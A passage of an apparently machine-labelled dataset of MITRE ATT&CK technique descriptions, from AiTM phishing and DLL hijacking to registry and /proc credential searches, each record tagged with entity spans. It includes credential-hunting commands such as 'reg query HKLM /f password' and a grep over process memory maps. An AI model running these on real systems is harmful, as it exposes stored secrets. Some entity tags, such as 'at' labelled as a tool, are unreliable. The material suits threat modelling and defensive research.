`EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie.\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", "spans": {"TOOL: at": [[608, 610]], "DOMAIN: google.com": [[1274, 1284]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1598.003"}} {"text": "Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., SSH Authorized Keys).", "spans": {"SYSTEM: SSH": [[83, 86], [152, 155], [281, 284], [371, 374], [479, 482], [799, 802]], "SYSTEM: Linux": [[246, 251]], "SYSTEM: macOS": [[256, 261]], "TOOL: cmd": [[434, 437]], "TOOL: ssh": [[453, 456]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.004"}} {"text": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments. With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).\n \n\nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.", "spans": {"SYSTEM: Office 365": [[251, 261]], "SYSTEM: AWS": [[770, 773]], "SYSTEM: API": [[886, 889], [968, 971]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.003"}} {"text": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory. After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", "spans": {"TOOL: at": [[326, 328]], "SYSTEM: API": [[416, 419], [1006, 1009]], "FILEPATH: \\\\[CurrentControlSet": [[605, 625]], "FILEPATH: \\\\[Windows": [[670, 680]], "SYSTEM: Windows": [[701, 708]], "FILEPATH: \\\\[user": [[730, 737]], "SYSTEM: Registry": [[761, 769]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.012"}} {"text": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "spans": {"TOOL: at": [[399, 401]], "SYSTEM: Microsoft Office": [[723, 739]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1566.001"}} {"text": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of AppleScript, to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.008"}} {"text": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.", "spans": {"SYSTEM: Windows": [[24, 31], [155, 162]], "SYSTEM: Component Object Model": [[32, 54], [532, 554]], "SYSTEM: COM": [[56, 59], [87, 90], [321, 324], [463, 466], [572, 575], [736, 739]], "SYSTEM: API": [[198, 201]], "SYSTEM: DCOM": [[556, 560]], "SYSTEM: Java": [[703, 707]], "SYSTEM: Visual Basic": [[713, 725]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1559.001"}} {"text": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. \n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.", "spans": {"SYSTEM: Windows": [[1933, 1940], [2234, 2241]], "SYSTEM: Registry": [[2438, 2446]], "TOOL: at": [[3374, 3376], [3474, 3476]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.001"}} {"text": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.", "spans": {"TOOL: at": [[305, 307]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1119"}} {"text": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.", "spans": {"SYSTEM: Windows": [[134, 141]], "SYSTEM: macOS": [[366, 371]], "SYSTEM: Linux": [[376, 381]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1115"}} {"text": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process’s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process’s virtual address space.\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", "spans": {"SYSTEM: Linux": [[166, 171]], "FILEPATH: /proc/": [[234, 240], [333, 339], [676, 682]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.007"}} {"text": "Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. \n\nInternet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks – consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices – to serve as a botnet. \n\nWith a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS). Acquired botnets may also be used to support Command and Control activity, such as Hide Infrastructure through an established Proxy network.", "spans": {"SYSTEM: SOHO": [[605, 609]], "TOOL: at": [[696, 698]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.005"}} {"text": "Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access.\n Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.", "spans": {"SYSTEM: Access": [[632, 638]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.005"}} {"text": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Defense Evasion), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using Drive-by Compromise.", "spans": {"SYSTEM: Gatekeeper": [[51, 61], [130, 140], [270, 280], [437, 447], [872, 882], [949, 959], [1091, 1101], [1269, 1279], [1401, 1411], [1732, 1742], [2077, 2087]], "ORGANIZATION: Apple": [[187, 192], [1322, 1327], [1427, 1432]], "TOOL: top": [[294, 297]], "DOMAIN: api.apple-cloudkit.com": [[1372, 1394]], "SYSTEM: API": [[1396, 1399]], "SYSTEM: macOS": [[1880, 1885]], "TOOL: curl": [[2268, 2272]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.001"}} {"text": "Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux. \n\nAdversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`, `ListFileInGuest`, and `InitiateFileTransferFromGuest`. This may enable follow-on behaviors on the guest VMs, such as File and Directory Discovery, Data from Local System, or OS Credential Dumping.", "spans": {"SYSTEM: VMware": [[195, 201]], "SYSTEM: Windows": [[325, 332]], "SYSTEM: macOS": [[383, 388]], "SYSTEM: Linux": [[409, 414]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1675"}} {"text": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.", "spans": {"SYSTEM: Access": [[480, 486]], "SYSTEM: JavaScript": [[879, 889]], "TOOL: top": [[1982, 1985]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.004"}} {"text": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.\n\nAdversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "spans": {"TOOL: tasklist": [[212, 220]], "TOOL: schtasks": [[384, 392]], "SYSTEM: Windows": [[397, 404]], "TOOL: crontab": [[409, 416]], "SYSTEM: Linux": [[424, 429]], "SYSTEM: macOS": [[434, 439]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1007"}} {"text": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.\n\nOn network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.", "spans": {"SYSTEM: SMB": [[679, 682]], "SYSTEM: AWS": [[1368, 1371]], "SYSTEM: GCP": [[1391, 1394]], "SYSTEM: Azure": [[1417, 1422]], "SYSTEM: TLS": [[1613, 1616]], "TOOL: at": [[1629, 1631]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1040"}} {"text": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. The certificates used during an operation may be created, acquired, or stolen by the adversary. Unlike Invalid Code Signature, this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "spans": {"SYSTEM: Windows": [[480, 487]], "SYSTEM: macOS": [[492, 497]], "SYSTEM: Linux": [[525, 530]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.002"}} {"text": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the Cloud API. In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., Data from Information Repositories). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem. There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.", "spans": {"ORGANIZATION: Amazon": [[124, 130]], "SYSTEM: S3": [[131, 133]], "SYSTEM: Azure": [[135, 140]], "SYSTEM: Google Cloud": [[154, 166]], "SYSTEM: Office 365": [[221, 231]], "SYSTEM: Google Workspace": [[236, 252]], "SYSTEM: OneDrive": [[324, 332]], "SYSTEM: Google Drive": [[337, 349]], "SYSTEM: Slack": [[392, 397]], "SYSTEM: Confluence": [[399, 409]], "SYSTEM: Dropbox": [[427, 434]], "SYSTEM: Elasticsearch": [[633, 646]], "SYSTEM: API": [[770, 773]], "SYSTEM: Access": [[1475, 1481]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1530"}} {"text": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data. By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1565.003"}} {"text": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: \n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", "spans": {"SYSTEM: Registry": [[27, 35], [224, 232], [417, 425]], "SYSTEM: Windows Registry": [[98, 114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.002"}} {"text": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. Net can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.", "spans": {"SYSTEM: Windows": [[387, 394]], "SYSTEM: SMB": [[419, 422]], "TOOL: Net": [[435, 438]], "FILEPATH: \\\\\\\\remotesystem": [[529, 545]], "SYSTEM: macOS": [[659, 664]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1135"}} {"text": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1120"}} {"text": "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs. \n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.", "spans": {"SYSTEM: Unix": [[338, 342]], "SYSTEM: Linux": [[475, 480]], "SYSTEM: Native API": [[526, 536]], "SYSTEM: API": [[668, 671]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.009"}} {"text": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.004"}} {"text": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to Code Signing, adversaries may develop self-signed code signing certificates for use in operations.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587.002"}} {"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs). Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.", "spans": {"SYSTEM: Windows": [[446, 453], [919, 926]], "SYSTEM: Access": [[506, 512]], "TOOL: PowerShell": [[1076, 1086]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1222.001"}} {"text": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. \n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.", "spans": {"SYSTEM: Microsoft Office": [[22, 38]], "SYSTEM: Office": [[94, 100], [145, 151], [232, 238], [311, 317], [418, 424], [554, 560]], "SYSTEM: Word": [[259, 263]], "SYSTEM: Excel": [[264, 269]], "SYSTEM: VBA": [[298, 301], [376, 379]], "SYSTEM: Component Object Model": [[318, 340]], "SYSTEM: COM": [[342, 345]], "SYSTEM: Outlook": [[445, 452]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.006"}} {"text": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails. Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events. Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.", "spans": {"ORGANIZATION: Microsoft": [[22, 31], [92, 101]], "SYSTEM: Exchange": [[102, 110], [495, 503], [882, 890]], "SYSTEM: .NET": [[437, 441]], "SYSTEM: Exchange Server": [[722, 737]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.002"}} {"text": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.\n\nTools such as Systeminfo can be used to gather 